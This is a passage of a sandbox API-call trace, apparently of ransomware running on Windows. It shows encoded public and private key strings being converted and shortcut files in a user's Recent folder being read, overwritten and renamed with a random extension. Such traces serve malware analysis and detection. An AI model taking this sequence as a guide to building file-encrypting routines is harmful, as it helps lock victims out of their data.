lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f8692c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.230] GetCurrentThreadId () returned 0xa30 [0079.230] GetCurrentThreadId () returned 0xa30 [0079.231] GetCurrentThreadId () returned 0xa30 [0079.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-CYi6R7bCvIz-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-cyi6r7bcviz-.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.231] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.231] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.231] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa38 [0079.231] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.232] ReadFile (in: hFile=0x124, lpBuffer=0x1f8e730, nNumberOfBytesToRead=0xa38, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesRead=0x18f96c*=0xa38, lpOverlapped=0x0) returned 1 [0079.233] CloseHandle (hObject=0x124) returned 1 [0079.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-CYi6R7bCvIz-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-cyi6r7bcviz-.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.236] WriteFile (in: hFile=0x124, lpBuffer=0x1f90760*, nNumberOfBytesToWrite=0xa38, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90760*, lpNumberOfBytesWritten=0x18f978*=0xa38, lpOverlapped=0x0) returned 1 [0079.253] CloseHandle (hObject=0x124) returned 1 [0079.254] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-CYi6R7bCvIz-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-cyi6r7bcviz-.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-CYi6R7bCvIz-.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-cyi6r7bcviz-.lnk.zv7un")) returned 1 [0079.256] GetCurrentThreadId () returned 0xa30 [0079.256] GetCurrentThreadId () returned 0xa30 [0079.256] GetCurrentThreadId () returned 0xa30 [0079.256] GetCurrentThreadId () returned 0xa30 [0079.256] GetCurrentThreadId () returned 0xa30 [0079.256] GetCurrentThreadId () returned 0xa30 [0079.256] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2866a60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2866a60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2866a60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa21, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="-DpF-3V_.lnk", cAlternateFileName="")) returned 1 [0079.256] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.256] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.256] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-DpF-3V_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-dpf-3v_.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2866a60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2866a60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2866a60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa21)) returned 1 [0079.256] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-DpF-3V_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-dpf-3v_.lnk")) returned 0x20 [0079.256] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-DpF-3V_.lnk", dwFileAttributes=0x80) returned 1 [0079.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f758cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.260] GetCurrentThreadId () returned 0xa30 [0079.260] GetCurrentThreadId () returned 0xa30 [0079.260] GetCurrentThreadId () returned 0xa30 [0079.260] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.260] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f8692c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.261] GetCurrentThreadId () returned 0xa30 [0079.261] GetCurrentThreadId () returned 0xa30 [0079.261] GetCurrentThreadId () returned 0xa30 [0079.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-DpF-3V_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-dpf-3v_.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.261] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.261] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.261] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa21 [0079.261] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.261] ReadFile (in: hFile=0x124, lpBuffer=0x1f8e730, nNumberOfBytesToRead=0xa21, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesRead=0x18f96c*=0xa21, lpOverlapped=0x0) returned 1 [0079.263] CloseHandle (hObject=0x124) returned 1 [0079.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-DpF-3V_.lnk" (normalized: 